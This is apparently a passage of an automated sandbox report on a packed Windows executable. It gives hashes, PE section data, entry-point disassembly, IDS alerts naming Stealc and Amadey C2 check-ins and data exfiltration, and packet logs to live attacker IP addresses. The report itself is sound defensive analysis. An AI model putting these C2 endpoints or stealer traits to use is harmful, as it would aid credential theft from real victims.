Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945917242077138
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'825'280 bytes
MD5:	bc37773bb9ab9c72ded7535b8cac8b6f
SHA1:	7a0dc5b4ff0be8a6b3b6c013a910a929ab7c85a6
SHA256:	7cd61a43406df841be2ebd093e192ad43eee6dbe9b4fb1cbe5197f3e0adda7a6
SHA512:	aed6c32a6ef47b623baeb6809b620ed278411c6bb86eb2679f964bf2ec2705349f10e115cfc499b8ef68f14e424daceb85fa38ef4502dce0ba802b5f821c0131
SSDEEP:	49152:nGR8zQkHhxJCC5uOfA4+YYsc3v0tAfjoBQJmFp+0:nGR8skHLoCQOfRFMv0tAboBnFM0
TLSH:	858533F44C611014E76D973A486FBC922C789EA8CEA3491F4E7FA4873975B1E3C95B01
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4F7D4CB2CAh
popcnt ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	5d1fdaacfb25bf4b79ceb868614f789d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b2000	0x200	a1e50299154d818cf3bc3d3f0b053061	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jwxhholp	0x4fe000	0x1a4000	0x1a3c00	3540b062e9d536821686769a7c3334fa	False	0.9948641769654556	data	7.954611319547803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ajphrsoq	0x6a2000	0x1000	0x600	168372f35a58a4880019284b41cc4aa2	False	0.5989583333333334	data	5.15403750167885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a3000	0x3000	0x2200	a4abc09273e8a1c0081e50d3c971ad45	False	0.05503216911764706	DOS executable (COM)	0.5976157298588507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T15:41:03.185317+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:03.464390+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:03.470948+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-12T15:41:03.744551+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:03.751644+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-12T15:41:04.828839+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:05.359257+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:18.256358+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:18.501914+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49755	TCP
2024-11-12T15:41:19.402305+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:19.967280+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:20.414034+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:21.575587+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:22.006576+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:25.925748+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49761	185.215.113.16	80	TCP
2024-11-12T15:41:56.982104+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49762	TCP
2024-11-12T15:42:05.294929+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49782	185.215.113.43	80	TCP
2024-11-12T15:42:08.633655+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	185.215.113.16	80	TCP
2024-11-12T15:42:27.262780+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49788	TCP
2024-11-12T15:42:28.171467+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	49801	185.215.113.43	80	TCP
2024-11-12T15:42:29.229978+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49802	185.215.113.206	80	TCP
2024-11-12T15:42:32.451016+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49804	185.215.113.43	80	TCP
2024-11-12T15:42:33.348114+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49805	185.215.113.16	80	TCP
2024-11-12T15:42:38.408706+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49806	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 15:41:01.990839958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:01.995887995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:01.995981932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:01.996139050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:02.001461983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:02.893347979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:02.893517017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:02.896203041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:02.901002884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.185225964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.185317039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.186636925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.191514969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.464306116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.464323044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.464390039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.465890884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.470947981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.581260920 CET	49675	443	192.168.2.4	173.222.162.32
Nov 12, 2024 15:41:03.744443893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744467974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744481087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744493008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744505882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744520903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:03.744550943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.744609118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.746666908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:03.751643896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.025728941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.025824070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:04.043153048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:04.043226004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:04.048227072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.048237085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.048252106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.048302889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.048316002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.048336029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.828761101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:04.828839064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.083523035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.088747978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359174013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359193087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359205961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359217882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359236956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359256983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.359317064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.359498978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359510899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359524012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.359546900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.359572887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.360198021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.360210896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.360241890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.361140013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.361154079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.361181974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.361212015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.511493921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.511591911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.511617899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.511651039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.511821985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.511862040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.511867046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.511892080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.516350985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.516366005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.516520977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.516628027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.516647100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.516655922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.516674995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.516716003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.521137953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521152020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521162033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521183014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.521217108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.521415949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521428108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521436930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.521478891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.521512985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.525877953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.525892019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.525923967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.525952101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.526262045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.526273966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.526304007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.526321888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.530626059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.530638933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.530653954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.530672073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.530708075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.530985117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.530997992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.531024933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.531044006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.535304070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.535322905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.535341024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.535362959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664002895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664089918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664100885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664105892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664138079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664165020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664175987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664186954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664201975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664259911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664796114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664845943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664863110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664875031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664902925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664916992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664927006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.664958954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.664983988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.665790081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.665832996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.665843964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.665854931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.665875912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.665894032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.665939093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.665951014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.665980101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.665996075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.666789055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.666831017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.666858912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.666872978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.666899920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.666915894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.666945934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.666958094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.666986942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.667002916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.667785883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.667831898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.667849064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.667860031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.667885065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.667901039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.667968035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.667978048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668011904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668028116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668756962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668807030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668823004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668833971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668863058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668881893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668896914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668910027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.668936014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.668953896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.669821978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.669878006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.669886112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.669892073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.669928074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.669928074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.670043945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.670054913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.670087099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.670105934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:05.670752048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:05.670799971 CET	49730	80	192.168.2.4	185.215.113.206
